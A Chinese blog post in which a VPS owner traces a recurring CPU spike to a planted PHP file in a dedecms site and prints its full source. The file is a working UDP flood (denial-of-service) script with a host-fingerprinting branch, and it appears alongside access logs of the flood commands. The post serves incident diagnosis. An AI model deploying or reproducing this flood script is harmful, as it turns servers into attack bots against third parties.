最近在用一个香港的VPS做一个小说站点,配置是云主机1G内存带宽不限,上面运行着nginx mysql php-fpm memcache vsftpd,1G内存已经快使用完了,但CPU负载不高,因为网站也没什么流量。最近几天在特定的时间段(晚上的17点左右)通过top查看到一个php-fpm进程占用了99%的CPU,娘啊是哪个php脚本占用了如此多的CPU资源,VPS除了目前我在开发的程序还运行着一些其他网站,这中包括dedecms,akcms,bbs,以目前的知识我还无法定位是因为哪个脚本的问题导致的这次原因,过了大概有1小时的时间CPU负载下去了,接下来几天还是如此。
我决定要处理这个问题,因为负载高的时候网站访问超级慢到了无法忍受的地步,首先我将php-fpm的慢查询日志打开,记录下运行时长超过1秒的脚本程序.
file:/etc/php-fpm.d/www.conf request_slowlog_timeout = 1s
17点到了负载又开始上去了,我用top命令拿到那个php-fpm高的pid 22658,尝试strace -p 22658 看看进程都在做些什么,命令结果都是机器指令根本不明白是什么意思,只是发现怪异的一点有个“AAAAAAA”这样的字样,然后又通过ll /proc/22658/fd 查看正在操作的文件,显示结果就是几个通道文件在不停的闪烁还是定位不到文件。
最后希望寄托于slow-log,搜索了一下在那一个时段的慢日志,网站访问量不多所以很容易定位到了一个文件Pacillbxz.php,顺手打开看了一下内容,惊呆了。
<?php echo 'u are hacker?'; exit; set_time_limit(999999); $host = $_GET['ip']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host£º$host:$port<br><br>"; echo "Send Flow£º$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate£º" . round($packets/$exec_time, 2) . " packs/s£»" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
脚本的大体意思是传入主机、端口、时间进行建立udp的请求,而且是循环建立,说白了就是恶意请求一个主机,这是拿我当枪使啊,VPS成为了肉鸡?僵尸?就是这一类的词。
我现在能想到的就是dedecms出现了上传漏洞让人给攻击上传文件代码了,我就又顺手看了看他要攻击的目标以及是谁在请求这个攻击指令。
180.154.162.63 - - [20/Aug/2013:12:33:03 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:12:34:17 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:12:35:01 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:14:28:21 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:15:13:37 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:15:27:07 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-" 180.154.162.63 - - [20/Aug/2013:15:51:51 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"
总结:以后做站别在用织梦了,学到了一个新函数ignore_user_abort() 客户端断开连接时脚本程序是否继续执行